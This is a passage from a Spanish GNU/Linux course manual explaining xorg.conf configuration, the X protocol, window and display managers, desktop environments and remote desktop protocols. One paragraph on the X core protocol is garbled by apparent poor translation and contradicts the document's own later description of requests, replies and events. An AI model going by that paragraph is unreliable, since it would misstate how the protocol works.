en particular la líneas que comienzan con (EE), lo que indica un error. En este archivo
existe registrado todos los dispositivos cargados automáticamente por XOrg, basándose
en la detección del hardware.
A continuación explicaremos paso a paso la configuración de XOrg, en caso el servidor X
no levante.
El archivo,
/etc/X11/xorg.conf
contiene la configuración de XOrg y está dividido en secciones:
Files # Ruta de los archivos
Module # Módulos dinámicos

Diplomado de GNU/Linux
59
Fundación Código Libre Dominicano
http://www.codigolibre.org

InputDevice # Descripción de los dispositivos periféricos


Device # Descripción de los dispositivos gráficos
Monitor # Descripción del Monitor
Screen # Configuración de la pantalla
ServerLayout # Esquema global
DRI # Configuración específica a DRI
Cada sección empieza con la instrucción “Section” seguido del nombre de la sección
entre comillas y termina con “EndSection”. Existen comandos específicos a cada sección.
Iremos paso a paso, no necesariamente en el orden del archivo, describiendo las
secciones y explicando el significado de cada comando, para que modifiques la
configuración con algún editor de texto (por ejemplo nano) con los parámetros
pertinentes al hardware.
Para hacer efectivo cambios a /etc/X11/xorg.conf debes reiniciar el Display Manager
con,
# /etc/init.d/gdm restart

Sección "Device"
Esta sección es la que define y configura el dispositivo de la tarjeta gráfica.
Section "Device"
Identifier "Configured Video Device"
Driver "sis"
BusID "PCI:1:0:0"
EndSection
La entrada Identifier es simplemente un nombre para identificar la sección.
La entrada Driver especifica el dispositivo. Si esta entrada no existe, XOrg hace una
identificación automática. Insertar Driver fuerza a XOrg a usar el dispositivo
especificado.
La entrada BusID identifica la tarjeta gráfica en el bus PCI, que puedes determinar con
lspci (ver más abajo).
Para determinar el chipset de la tarjeta gráfica y el dispositivo que la soporta, corre
en un terminal el comando lspci y busca las palabras "VGA compatible controller:". La
información que sigue normalmente identifica a lo menos la marca de la tarjeta gráfica
y posiblemente el dispositivo que necesitas. Por ejemplo,
$ lspci
01:03.0 VGA compatible controller: ATI Technologies Inc ES1000 (rev 02)
En la mayoría de los casos la marca identifica el dispositivo.
La siguiente tabla muestra los dispositivos libre de XOrg,
Marca tarjeta dispositivo
3Dfx tdfx
Alliance ProMotion apm
AMD GPG (ATI) R5xx/R6xx radeonhd
ATI ati
ATI Rage 128 r128
ATI RADEON radeon
Chips and Technologies chips
Cirrus Logic cirrus
Cyrix MediaGX cyrix
3Dlabs & Texas Instruments
glint
GLINT/Permedia

Diplomado de GNU/Linux
60
Fundación Código Libre Dominicano
http://www.codigolibre.org

Number 9 I128 i128


Intel i740 i740
Intel intel
Integrated Micro Solutions Twin Turbo
imstt
128
Matrox mga
Neomagic neomagic
National Semiconductors nsc
NVIDIA nv
Rendition rendition
S3 Savage savage
S3 ViRGE s3virge
Silicon Motion siliconmotion
SiS sis
SiS USB sisusb
Trident trident
Tseng Labs tseng
Voodoo voodoo
Unichrome (VIA) openchrome
XGI sis
Existen otros dispositivos que no son libres, por ejemplo, el dispositivo de nVidia y
ATI fglrx.
Si este método no resulta, la primera columna del comando lspci arroja los números del
bus PCI al cual la tarjeta está conectada, con el formato<bus>:<slot>:<func>.
Ejecuta,
zxguitar@zxlaptop:~$ lspci -n -s bb:ss.f

Además, identifica con los números del bus PCI el vendor y device ID de la tarjeta. Por
ejemplo,
zxguitar@zxlaptop:~$ lspci
01:03.0 VGA compatible controller: ATI Technologies Inc ES1000 (rev 02)

zxguitar@zxlaptop:~$ lspci -n -s 01:03.0


01:03.0 0300: 1002:515e (rev 02)
El vendor y device ID tiene el formato vvvv:dddd en números hexadecimales, En éste caso
el vendor y device ID de la tarjeta es 1002:515e. Con esta información busca en la
lista de tarjetas gráficas el dispositivo que necesitas usar. En este caso el
dispositivo es radeon.
Sección "Monitor"
Esta sección define el monitor.
Section "Monitor"
Identifier "Configured Monitor"
Option "DPMS"
HorizSync 28-100
VertRefresh 40-100
EndSection

Diplomado de GNU/Linux
61
Fundación Código Libre Dominicano
http://www.codigolibre.org

La entrada Identifier es similar a la de la sección "Device". Pueden existir varias


secciones "Monitor" en el archivo, cada una con diferente identificación. Esto es
conveniente si, por ejemplo, tienes varios monitores, digamos uno en tu casa y otro en
tu lugar de trabajo. Así puedes fácilmente definir una configuración para cuando el
computador está en casa o en tu trabajo. Cómo esto funciona en la práctica quedará
claro más adelante.
La entrada HorizSync especifica la frecuencia de barrido horizontal del monitor en
unidades de kHz. Puede ser una frecuencia fija, [31.5], múltiples frecuencias fijas,
[31.5,35.2], un rango, [30-64], o rangos, [15-25,30-64]. La entrada VertRefresh
especifica los intervalos verticales de refresco en unidades de Hz y los valores tienen
el mismo formato de HorizSync. Los valores o rangos suelen encontrarse en la sección
especificaciones del manual del monitor. Estos datos son muy importantes y valores
erróneos pueden causar un mal funcionamiento y hasta daños al monitor.
Sección "Screen"
Esta sección es la que va a definir la pantalla, combinando la configuración del
dispositivo y monitor.

Section "Screen"
Identifier "Default Screen"
Device "Configured Video Device"
Monitor "Configured Monitor"
DefaultDepth 24
Subsection "Display"
Depth 1
Modes "1024x768" "800x600" "640x480"
EndSubsection
Subsection "Display"
Depth 4
Modes "1024x768" "800x600" "640x480"
EndSubsection
Subsection "Display"
Depth 8
Modes "1024x768" "800x600" "640x480"
EndSubsection
Subsection "Display"
Depth 15
Modes "1024x768" "800x600" "640x480"
EndSubsection
Subsection "Display"
Depth 16
Modes "1024x768" "800x600"
EndSubsection
Subsection "Display"
Depth 24
Modes "1024x768"
EndSubsection
EndSection

Nota que las entradas Device y Monitor tienen el mismo valor que la entrada Identifier
de las secciones "Device" y "Monitor". De esta manera se entrelazan las configuraciones

Diplomado de GNU/Linux
62
Fundación Código Libre Dominicano
http://www.codigolibre.org

de las diferentes secciones.

La entrada DefaultDepth especifica la profundidad de color por omisión, en este


ejemplo, 24 bits. Pueden haber varias subsecciones "Display". La entrada
Depthespecifica la profundidad de color de la subsección. Valores posibles son 8 (256
colores), 16 (64K colores) y 24 bits. Así, la entrada DefaultDepth va a especificar la
subsección "Display" por omisión.

La entrada Modes especifica las resoluciones. Puede especificarse una resolución


["640x480"] o un listado de ellas ["1600x1200" "1680x1050" "1280x1024" "1440x900"
"1280x960" "1152x864" "1024x768" "800x600" "640x480"]. Normalmente se usa la primera en
la lista, si está soportada, si no, la siguiente, y así.

En general, mientras mayor la profundidad de color, menor la resolución máxima posible.


Disminuye la profundidad de color si para cierta resolución soportada la imagen de la
pantalla es mala, o mantiene la profundidad disminuyendo la resolución.

Sección "InputDevice"
Esta es la sección que configura las periferias como el teclado, ratón, mousepad,
touchscreen, etc. Los más comunes son el teclado y el ratón, obviamente, cada una por
separado.

Configuración del teclado:


Section "InputDevice"
Identifier "Generic Keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc105"
Option "XkbLayout" "latam"
EndSection
Todos los teclados tienen un dispositivo en común llamado kbd. La entrada Option
"CoreKeyboard" indica que el teclado definido por la sección es el teclado principal.
La entrada Option "XkbModel" especifica el tipo de teclado. Los valores más comunes son
"pc101", "pc102", "pc104", "pc105" o "microsoft" para el teclado Microsoft Natural. La
entrada Option "XkbLayout" define el mapa del teclado; latam para teclado
latinoamericano; "es" para un teclado español, "us" para un teclado inglés
norteamericano.
Configuración del ratón:
Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ImPS/2"
Option "Emulate3Buttons" "true"
Option "Buttons" "5"
Option "ZAxisMapping" "4 5"
EndSection
El dispositivo común mouse soporta cuatro tipos de ratones: serial, Bus, PS/2 y USB. En
el primer ejemplo se configura un ratón USB IntelliMouse (con rueda).

Diplomado de GNU/Linux
63
Fundación Código Libre Dominicano
http://www.codigolibre.org

La entrada Option "CorePointer" indica que el ratón definido por la sección es el ratón
principal.
La entrada Option "Device" especifica el dispositivo de la unidad del ratón. Ejemplos
son /dev/ttyS0 (serial), /dev/psaux (PS/2) y /dev/input/mice (USB).
La entrada Option "Protocol" define el tipo de ratón. Otros protocolos son:
"Auto"
"MouseMan"
"Mousesystems"
"IntelliMouse"
"ExplorerPS/2"
"ThinkingMouse"
"ThinkingMousePS/2"
"NetScrollPS/2"
"NetMousePS/2"
"GlidePoint"
"GlidePointPS/2"
"MouseManPlusPS/2"

Los ratones seriales antiguos de dos o tres botones están normalmente soportados por el
protocolo "Microsoft" o "MouseMan". Los ratones seriales con rueda los soporta el
protocolo "IntelliMouse" y los PS/2 "ImPS/2". El protocolo "Auto" a veces ayuda si es
que el hardware es capaz de detectar automáticamente el ratón.
La entrada Option "Emulate3Buttons" emula al botón del medio oprimiendo simultáneamente
los botones izquierdo y derecho. Puede usarse también en ratones con tres botones.
Sección "ServerLayout"
Esta sección es la que junta la pantalla con la unidades periféricas.
Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
InputDevice "Generic Keyboard"
InputDevice "Configured Mouse"
EndSection
Nota en particular cómo ésta sección combina todo mediante las identificaciones de cada
sección definidas por Identifier.
Sección "DRI"
Algunas tarjetas modernas incorporan Direct Rendering Infrastructure (DRI). Para usarlo
debes cargar los módulos "glx" y "dri" en la sección "Modules".
La sección DRI por omisión es,
Section "DRI"
Mode 0666
EndSection
Algunas tarjetas que no soportan DRI pueden colgar X.

1.3 Protocolo X
La comunicación entre el cliente X y el servidor se realiza por medio de un protocolo
conocido como Xprotocol, que consiste en una serie de bytes interpretados como comandos
básicos para generar ventanas, posicionarlas, o controlar eventos. Los clientes X
acceden al Xprotocol mediante el uso de una biblioteca llamada Xlib, que evita al
programador de clientes X tener que lidiar con el código binario del Xprotocol. Sin
embargo, los aspectos de decoración de ventana y manejos de ventanas no están definidos
en esta biblioteca.

Diplomado de GNU/Linux
64
Fundación Código Libre Dominicano
http://www.codigolibre.org

El Protocolo base de X Window System es la base del protocolo de X Window System,


cuando es un NetWorker del sistema de windows por un bitmap de presentaciones usados
para construir interfaces gráficas de usuarios en Unix, Unix-Like y otros sistemas
operativos. X Window System está basado en un modelo de cliente-Server: un solo Server
controla el hardware de entrada-salida, como el monitor, el teclado, y el ratón; todos
los programas de la aplicación actúan como un sólo cliente, interactuando con el
usuario y con los otros mediante vía Server. Esta interacción es regulada por el
protocolo del centro de X Window System.4 Otros protocolos relacionados al X Window
System existen, ambos construidos a la cabeza del protocolo del centro de X Window
System o separados.
En el protocolo base de X Window System, sólo cuatro clases de paquetes son enviadas,
asíncronamente, sobre la red: peticiones, respuestas, los acontecimientos, y los
errores. Las “peticiones” son enviadas por un cliente al server para preguntar si puede
mejorar alguna aplicación (por ejemplo crear una nueva ventana) y además son devueltos
a la persona que los envió para que reciba los datos (Repuestas). Las “respuestas” son
enviadas por un cliente para confirmar algún dato. Los “eventos” son enviados por un
usuario para notificar a otros de que hay alguna junta de interés o trabajo. Los
“errores” son enviados al usuario para notificar que ha ocurrido un error durante el
proceso de peticiones. En las peticiones pueden generarse respuestas, eventos y
errores; u otros, el protocolo manda una orden específica para que el usuario no mande
la petición por otra red. Algunas extensiones a el protocolo core existente, cada una
con sus propias peticiones, respuestas, eventos y errores.
X se originó en el Instituto Tecnológico de Massachusetts en 1984 (su liberación X11
actual apareció en septiembre 1987). Fue diseñado por Bob Scheifer y Jim Gettys,
pusieron como principio primordial del proyecto “Crearemos un mecanismo, no una
política”. Como resultado, el protocolo core no especifica la interacción entre
clientes y entre un cliente y el usuario. Estas interacciones están sujetas por
especificaciones separadas,5 como el ICCCM y la freedesktop.org especificaciones. Son
típicamente automáticos, hasta usando un dado Widget toolkit.

La comunicación entre el servidor y los clientes se hace mediante el intercambio de


paquetes sobre un canal. La conexión se establece por el cliente (la forma en que el
cliente se inicia no se ha especificado en el protocolo). El cliente también envía el
primer paquete, que contiene el orden del byte a ser utilizado y la información sobre
la versión del protocolo y el tipo de autenticación que el cliente espera que el
servidor usará. La respuesta del servidor mediante el envío de un paquete de vuelta
indica la aceptación o el rechazo de la conexión, o con una solicitud de una
autenticación adicional. Si la conexión es aceptada, el paquete de aceptación contiene
los datos que el cliente debe usar en la interacción posterior con el servidor.
Después de que se establezca la conexión, cuatro tipos de paquetes son intercambiados
entre el cliente y el servidor sobre el canal de comunicación:
Petición: El cliente pide información al servidor o solicita que éste realice una
acción.
Respuesta: El servidor responde a una petición. No todas las peticiones generan
respuestas.
Evento: El servidor informa al cliente de un acontecimiento, tal como la entrada del
teclado o del ratón, que una ventana está siendo movida, redimensionada, expuesta, etc.
Error: El servidor envía un paquete de error si una petición es inválida. Puesto que
las respuestas están en cola, los paquetes de error generados por una petición pueden
no enviarse inmediatamente.

Diplomado de GNU/Linux
65
Fundación Código Libre Dominicano
http://www.codigolibre.org

Los paquetes de la petición y de la respuesta tienen una longitud diversa, mientras que
los paquetes de eventos y de error tienen una longitud fija de 32 bytes.
Los paquetes de petición son numerados secuencialmente por el servidor tan pronto como
los recibe: la primera petición de un cliente se numera 1, la segunda 2, etc. Los 16
bits menos significativos del número secuencial de una petición se incluyen en los
paquetes de la respuesta y del error, si los hay, generados por la petición. También
son incluidos en los paquetes de eventos, para indicar el número secuencial de la
petición que el servidor está actualmente procesando o acaba de terminar de procesar.

Ventanas
Lo que es usualmente llamado "ventana" en la mayoría de las interfaces gráficas de
usuarios, en el X Window System se llama "ventana de nivel superior" (top-level
window). El término ventana también es usado para denotar las ventanas que descansan
dentro de otra ventana, es decir, subventanas de una ventana padre. Los elementos
gráficos tales como los botones, menús, iconos, etc. pueden ser creados usando
subventanas.
Un cliente puede solicitar la creación de una ventana. Más precisamente, puede
solicitar la creación de una subventana para una ventana existente. Como resultado, las
ventanas creadas por los clientes se arreglan en forma de un árbol (una jerarquía). La
raíz de este árbol es la ventana raíz, que es una ventana especial creada
automáticamente por el servidor en el arranque. Todas las otras ventanas son directa o
indirectamente subventanas de la ventana raíz. Las ventanas de nivel superior son las
subventanas directas de la ventana raíz. Visiblemente, la ventana raíz es tan grande
como la pantalla, y descansa detrás de el resto de las ventanas. Sin embargo la ventana
raíz puede ser más grande que la pantalla, en este caso el usuario puede desplazarse
alrededor del área visible.
No se garantiza que el contenido de una ventana siempre sea preservado en el tiempo.
Particularmente, el contenido de la ventana puede ser destruido cuando la ventana es
movida, redimensionada, cubierta por otras ventanas, y en general, hecha no visible
total o parcialmente. En particular, el contenido es perdido si el servidor X no está
manteniendo un almacenamiento de respaldo del contenido de la ventana. El cliente puede
solicitar memoria de respaldo para que una ventana sea mantenida, pero no hay
obligación para que el servidor lo haga. Por lo tanto, los clientes no pueden asumir
que el almacenamiento de respaldo sea mantenido. Si una parte visible de una ventana
tiene un contenido sin especificar, un evento es enviado para notificar al cliente que
el contenido de la ventana tiene que ser dibujado otra vez.
Cada ventana tiene un conjunto asociado de atributos, tales como la geometría de la
ventana (tamaño y posición), la imagen de fondo, si la memoria de respaldo para ella se
ha pedido o no, etc. El protocolo incluye las peticiones necesarias para que un cliente
pueda inspeccionar y cambiar los atributos de una ventana.
Las ventanas pueden ser de InputOutput (entrada-salida) o de InputOnly (solo-entrada).
Las ventanas que pueden ser mostradas en la pantalla y son usadas para dibujar
contenido son de la primera clase. La segunda clase de ventanas nunca son mostradas en
la pantalla; son usadas solo para recibir la entrada.

El marco decorativo y la barra de título (posiblemente incluyendo botones) que son


usualmente vistos alrededor de las ventanas, son creados por el manejador de ventanas,
no por el cliente que crea la ventana. El manejador de ventanas también maneja la
entrada relacionada con estos elementos, tales como redimensionar la ventana cuando el
usuario hace click y arrastra el marco de ventana. Los clientes usualmente operan en la
ventana que ellos crearon sin hacer caso de los cambios operados por el manejador de

Diplomado de GNU/Linux
66
Fundación Código Libre Dominicano
http://www.codigolibre.org

ventanas. Un cambio que tiene que tomar en cuenta el Re-parenting window manager, que
casi todos los manejadores de ventanas modernos son, es cambiar la ventana de nivel
superior a una ventana que no sea la raíz. Desde el punto de vista del protocolo base,
el manejador de ventanas es un cliente, no diferente de otras aplicaciones.
Los datos acerca de una ventana pueden ser obtenidos corriendo el programa xwininfo.
Pasándole el argumento de línea de comando -tree, este programa muestra el árbol de
subventanas de una ventana, junto con sus identificadores y datos de geometría.

1.4 Administradores de Ventana


Un gestor de ventanas es un Programa informático que controla la ubicación y apariencia
de las ventanas bajo un sistema de ventanas en una interfaz gráfica de usuario.
Las acciones asociadas al gestor de ventanas suelen ser, abrir, cerrar, minimizar,
maximizar, mover, escalar y mantener un listado de las ventanas abiertas. Es también
muy común que el gestor de ventanas integre elementos como: el decorador de ventanas,
un panel, un visor de escritorios virtuales, iconos y un tapiz.
Las plataformas Windows y Mac OS X ofrecen un gestor de ventanas estandarizado por sus
vendedores e integrado en el propio sistema operativo. En cambio el sistema gráfico X
Window, popular en el ámbito de sistemas Unix y similares, como GNU/Linux, permite al
usuario escoger entre varios gestores. Los gestores de ventanas difieren entre sí de
muchas maneras, incluyendo apariencia, consumo de memoria, opciones de personalización,
escritorios múltiples o virtuales y similitud con ciertos entornos de escritorio ya
existentes, entre otras.

En sistemas que usan el X Window System, hay una clara distinción entre el gestor de
ventanas y el sistema de ventanas. Estrictamente, un gestor de ventanas para X Windows,
no interactúa de forma directa con el hardware de vídeo, ratón o teclado, que son
responsabilidad del servidor X.

Gestores de ventanas para X Window


AfterStep, basado en FVWM y de apariencia similar a NeXTSTEP.
AmiWM (Amiga Window Manager).
Blackbox.
Enlightenment (también llamado 'E'), basado originalmente en fvwm2.
Fluxbox, derivado de la versión 0.61.1 de Blackbox.
Metacity, el gestor de ventanas ligero de algunas versiones de GNOME 2.
Kwin, gestor de ventanas de KDE

1.5 Entornos Gráficos (Desktop Manager o Destop Enviroment)


Un entorno de escritorio es un conjunto de software para ofrecer al usuario de una
computadora una interacción amigable y cómoda. El entorno de escritorio es una solución
completa de interfaz gráfica de usuario ofrece iconos, barras de herramientas, e
integración entre aplicaciones con habilidades como, arrastrar y soltar.
En general cada entorno de escritorio se distingue por su aspecto y comportamiento
particulares, aunque algunos tienden a imitar características de escritorios ya
existentes. El primer entorno moderno de escritorio que se comercializó fue
desarrollado por Xerox en los años 80. Actualmente el entorno más conocido es el
ofrecido por la familia Windows aunque existen otros como los de Macintosh (Classic y
Cocoa) y de código abierto (o software libre) como GNOME, KDE, CDE, Xfce o LXDE.

Un entorno de escritorio (en inglés, Desktop Environment) es un conjunto de software

Diplomado de GNU/Linux
67
Fundación Código Libre Dominicano
http://www.codigolibre.org

para ofrecer al usuario de una computadora una interacción amigable y cómoda.


El software es una solución completa de interfaz gráfica de usuario o GUI, ofrece
iconos, barras de herramientas, programas e integración entre aplicaciones con
habilidades como, arrastrar y soltar (drag&drop).
En general cada entorno de escritorio se distingue por su aspecto y comportamiento
particulares, aunque algunos tienden a imitar características de escritorios ya
existentes.

KDE
Es un entorno de escritorio contemporáneo para estaciones de trabajo Unix. KDE llena la
necesidad de un escritorio amigable para estaciones de trabajo Unix, similar a los
escritorios de Mac OS X o Windows».
Las aplicaciones KDE están traducidas a aproximadamente 75 idiomas y están construidas
con los principios de facilidad de uso y de accesibilidad moderna en mente. Las
aplicaciones de KDE 4 funcionan de forma completamente nativa en GNU/Linux, BSD,
Solaris, Windows y Mac OS X.
La «K», originariamente, representaba la palabra «Kool», pero su significado fue
abandonado más tarde.
La mascota del proyecto es un pequeño dragón llamado Konqi.

GNOME
Es el ambiente de escritorio del GNU. GNOME significa GNU Network Object Model
Environment. Los programas de GNOME son escritos en sus mayorías en C, pero existen
bindings disponibles en varios otros lenguajes, incluyendo C++, Guile, Perl, y Python.
Como el KDE, CHNOME pone gran énfasis en el ambiente de programación, haciéndolo así
más fácil crear aplicaciones que conformen.
El objetivo principal de GNOME es proveer un ambiente completo, orientado a sesión,
para las aplicaciones cliente para los sistemas cliente/servidor de Unix basados en
CORBA una especificación para el modelo de objetos distribuidos parecido al Distributed
Component Object Model (DCOM). Gnome se propone extender y mejorar este modelo
cliente/servidor basado SOO en aplicaciones y protocolos OpenSource y no en
propietarios.

Xlib:
Xlib es un biblioteca de unas 300 funciones escritas en C que generan protocolo X, que
facilitan la programación básica, las funciones Xlib son el punto de partida para
aprender a manejar X Window y aunque sea imprescindible dominarlas. Para programar a
más alto nivel nos harán falta otras herramientas.

Toolkits:
Son herramientas de más alto nivel ya que nos ayudaran a crear bloques de pantalla
llamados widgets, como por ejemplo menús, barras de desplazamiento, botones etc. La
ventaja de esta herramienta es que da a la aplicación una apariencia estándar fácil de
ver y de entender, con lo que se gana en facilidad de uso que es lo que se pretende
desde el principio al usar el sistema X window.

El toolkit usado comercialmente en los comienzos de X era Motif. Si bien fue


desarrollado por una institución llamada Open Software Foundation, era un producto
comercial. Se supone que la OSF lo desarrolló para contribuir al desarrollo de X y de
los estándares abiertos, pero lo arrastró a la obsolescencia al cobrar por su

Diplomado de GNU/Linux
68
Fundación Código Libre Dominicano
http://www.codigolibre.org

distribución mientras crecía la popularidad de Linux, para el cuál no había que pagar
nada.
Todo esto dejo de ser un problema principal para Linux desde la llegada de GTK+.

GTK+
Es un toolkit creado originalmente para ser usado en el programa de manipulación de
gráficos GIMP, pero se convirtió en EL toolkit para aplicaciones para Linux. Sobre éste
se construyó el entorno de escritorio Gnome.

QT
Qt es una biblioteca multiplataforma para desarrollar interfaces gráficas de usuario.
Fue creada por la compañía noruega Trolltech.
Qt es utilizada en KDE, un entorno de escritorio. Utiliza el lenguaje de programación
C++ de forma nativa.
Programadores reportan que es mucho más fácil emplear métodos del desarrollo de objeto
en programas que se construyen usando Qt que usando librerías tradicionales como lo es
el Motif. Las cuales son complicadas por las limitaciones de los lenguajes
procedimental como lo es el lenguaje procedural C. Los componentes desarrollados con Qt
tienden a ser reusables debido a la naturaleza modular de la librería.

1.6 Display Manager


En el X Window System, un X Display Manager (XDM), gestor de pantalla X, o gestor de
pantalla X, es una parte opcional del sistema X Window que permite comenzar una sesión
sobre un servidor X desde la misma u otra computadora. Un gestor de pantalla presenta
al usuario con una pantalla de autenticación (login) que solicita el nombre de usuario
y su contraseña. Una sesión comienza cuando el usuario entra con éxito una combinación
válida de nombre de usuario y contraseña.
Cuando el gestor de pantalla corre en la computadora del usuario, inicia el servidor X
antes de presentar al usuario la pantalla de login (autenticación), opcionalmente
repitiendo esto cuando el usuario cierra la sesión (logs out). En esta condición, el
gestor de pantalla realiza en el X Window System la funcionalidad del init, getty y
autentifica al usuario en el terminal en modo de caracteres. Cuando el gestor de
pantalla corre en una computadora remota, actúa como un servidor de telnet, solicitando
el nombre de usuario y la contraseña y comenzando una sesión remota.
Piense en XDM como proveedor de la misma funcionalidad que la utilidad getty(8). Esto
quiere decir que se encarga de los ingresos del sistema en la pantalla a la que está
conectado y arranca el gestor de sesiones para el usuario (normalmente un gestor de
ventanas X). XDM entonces espera a que este programa termine, señalando que el usuario
ha terminado y que se debería desconectar de la pantalla. En este punto XDM puede
mostrar las pantallas de entrada al sistema y de selección de pantalla para que el
siguiente usuario intente acceder al sistema.
Esto es útil para diferentes situaciones tales como "Terminales X" con escritorios
mínimos y grandes servidores de red (LTSP, cliente liviano). Como X Window System es
independiente del protocolo y de la red hay muchas posibles configuraciones para
ejecutar clientes y servidores X en diferentes equipos conectados a una red. XDM da una
interfaz gráfica para elegir a qué pantalla se quiere conectar y solicitar la
información de autenticación, como el nombre de usuario y le contraseña.
También es útil para múltiples usuarios trabajando con un mismo computador
(configuración multiseat), en donde cada usuario tiene su propio pantalla, teclado y
ratón, y comparten los recursos del computador, como el CPU, la tarjeta madre, la
memoria RAM, el disco duro, etc., abaratando significativamente los costos.

Diplomado de GNU/Linux
69
Fundación Código Libre Dominicano
http://www.codigolibre.org

El X11 Release 3 introdujo los gestores de pantalla de X Window (XDM) en octubre de


1988, dirigido a soportar los equipos de terminales X que por entonces apenas
comenzaban a entrar en el mercado. Esta versión sufrió de varios problemas,
notablemente cuando los usuarios apagaban y encendían los terminales X. En el X11R3, el
XDM sólo sabía sobre un terminal X por figurar en el archivo Xservers, pero XDM sólo
consultaba este archivo cuando se iniciaba. Así, cada vez que un usuario encendía y
apagaba un terminal, el administrador de sistema tenía que enviar una señal SIGHUP a
XDM para que releyese el archivo Xservers.
La introducción del X11R4 en diciembre de 1989 para corregir problemas en la
implementación del X11R3L trajo consigo el protocolo XDMCP. Con XDMCP, el servidor X
debe activamente solicitar del anfitrión una conexión de gestor de pantalla. Por lo
tanto, para un servidor X usando XDMCP no hace falta más que una entrada en Xservers.

Gestión de pantalla local y remota


Un gestor de pantalla puede correr en la misma computadora donde el usuario está
sentado o en otro computador remotamente. En el primer caso, el gestor de pantalla
inicia uno o más servidores X, exhibiendo la pantalla de login al principio y
(opcionalmente) cada vez que el usuario logs out (cierra sesión). En el segundo caso,
el gestor de pantalla trabaja según el protocolo XDMCP.
El protocolo XDMCP ordena que el servidor X se inicie autónomamente y se conecte con el
gestor de pantalla. En el paradigma del X Window System, el servidor corre en la
computadora que proporciona los dispositivos de exhibición (pantalla) y de entrada
(teclado y ratón). Un servidor se puede conectar, usando el protocolo XDMCP, a un
gestor de pantalla corriendo en otra computadora, solicitando a éste que comience la
sesión. En este caso, el servidor X actúa como cliente gráfico de telnet mientras que
el gestor de pantalla actúa como un servidor del telnet: los usuarios inician programas
de la computadora que corre el gestor de pantalla, mientras que su entrada y salida
ocurren en la computadora donde el servidor (y el usuario) se sienta.
Un administrador puede configurar un servidor X corriendo en el computador o el
terminal de usuario usado, o para conectarse con un gestor específico de pantalla, o
para mostrar una lista de convenientes anfitriones (hosts) corriendo potenciales
gestores de pantalla X. Un programa seleccionador de XDMCP (XDMCP Chooser) permite al
usuario seleccionar un anfitrión entre los que el terminal puede conectarse: una lista
predefinida de anfitriones y de sus respectivas direcciones de red; una lista de
anfitriones (en el subnet local del TCP/IP) que el servidor XDMCP a su vez obtiene por
un broadcast de la red.
El servidor XDMCP a menudo se presentará en esta lista. Cuando el usuario selecciona un
anfitrión de la lista, el servidor X corriendo en la máquina local se conectará con el
gestor de pantalla X de la computadora remota seleccionada.

Uso de XDM
El daemon XDM se encuentra en /usr/X11R6/bin/xdm. Este programa se puede arrancar en
cualquier momento como root y empezará a gestionar la pantalla X en la máquina local.
Si se quiere que XDM arranque cada vez que la máquina se encienda puede hacerlo
añadiendo una entrada a /etc/ttys. Hay una línea en el fichero /etc/ttys por defecto
para arrancar el daemon XDM en una terminal virtual:
ttyv8 "/usr/X11R6/bin/xdm -nodaemon" xterm off secure
Por defecto esta entrada esta deshabilitada; para habilitarla cambie el campo 5 de off
a on y reinicie init(8). El primer campo es el nombre de la terminal que este programa
gestionará: ttyv8. Esto significa que XDM empezará a ejecutarse en la terminal virtual

Diplomado de GNU/Linux
70
Fundación Código Libre Dominicano
http://www.codigolibre.org

número 9.

Alternativas a XDM
Hay algunas alternativas al programa por defecto XDM. Una de ellas, kdm, (que se
incluye con KDE), que ofrece muchas ventajas visuales y funcionalidad para permitir a
los usuarios elegir su gestor de ventanas en el momento del acceso al sistema y gdm, el
gestor de pantallas basado en GNOME con su respectiva organización.

Algunos otros son:


Multiseat Display Manager, el gestor de pantallas Multiseat
dtlogin (enviado con el CDE)
WINGs Display Manager (usando las WINGs widget-set usado en Window Maker)
Entrance (emplea la arquitectura usada en Enlightenment v.17)
SLiM, un gestor de login independiente.
xlogin login de X Window con XDMCP server separado con el servidor separado de XDMCP
Enter liviano gestor de login gráfico
Orthos Otra solución liviana con temas muy configurables

El archivo de configuración para el gdm es /etc/gdm/custom.conf

1.7 Escritorio Remoto


Un escritorio remoto es una tecnología que permite a un usuario trabajar en una
computadora a través de su escritorio gráfico desde otro terminal ubicado en otro
lugar.

El primer entorno operativo de escritorio remoto es X-Window, originalmente


desarrollado por el Massachusetts Institute of Technology (MIT) con el nombre de
proyecto Athena en 1984. El objetivo inicial era lograr la compatibilidad en materia de
terminales gráficos de los diversos fabricantes. Este objetivo resultó ampliamente
logrado con su aceptación por parte de dichos fabricantes.

La tecnología de escritorio remoto permite la centralización de aquellas aplicaciones


que generalmente se ejecutan en entorno de usuario (por ejemplo, procesador de textos o
navegador). De esta manera, dicho entorno de usuario se transforma en meros terminales
de entrada/salida.
Los eventos de pulsación de teclas y movimientos de ratón se transmiten a un servidor
central donde la aplicación los procesa como si se tratase de eventos locales. La
imagen en pantalla de dicha aplicación es retornada al terminal cliente cada cierto
tiempo.

Elementos básicos
Protocolo de comunicaciones
El elemento característico en cualquier implementación de escritorio remoto es su
protocolo de comunicaciones, que varía dependiendo del programa que se use:
• Independent Computing Architecture (ICA), utilizado por MetaFrame.
• Remote Desktop Protocol (RDP), utilizado por Terminal Services.
• Adaptive Internet Protocol (AIP), utilizado por Secure Global Desktop.
• Virtual Network Computing, (VNC), utilizado por el producto del mismo nombre.
• X11, utilizado por X-Window.

Diplomado de GNU/Linux
71
Fundación Código Libre Dominicano
http://www.codigolibre.org

• XDMCP

Comunicación
Para el desarrollo correcto del escritorio remoto, el protocolo debe de cumplir una
serie de requisitos:

• Latencia: el retardo de las comunicaciones es más importante que el ancho de


banda.
• Balanceo de funcionalidad entre cliente y servidor.
• Representación gráfica: Indica el tipo de visualización del escritorio remoto.
Existen cuatro posibilidades: gráficos de alto nivel, gráficos de bajo nivel,
primitivas de dibujo en 2D y píxels en bruto.
• Compresión: de los datos relativos a las actualizaciones de la pantalla.
• Sincronización.

Programas
Hoy por hoy, la tecnología de escritorio remoto ha alcanzado su madurez, existiendo un
conjunto reducido de productos, tanto comerciales como no comerciales:

• MetaFrame, de la compañía Citrix.


• Terminal Services, de Microsoft. Hoy parte integral de sus sistemas operativos.
• AppliDis, de la compañía Systancia.
• Sun Ray, de Sun Microsystems.
• VNC. La implementación original de este escritorio remoto tuvo lugar en los
laboratorios de Olivetti en Cambridge. Posteriormente fue adquirido por AT&T
alcanzando el grado de desarrollo conocido actualmente. Más recientemente, el
mantenimiento de VNC ha pasado a la compañía RealVNC, convirtiéndose en software
de código abierto de carácter gratuito.
• X-Window.
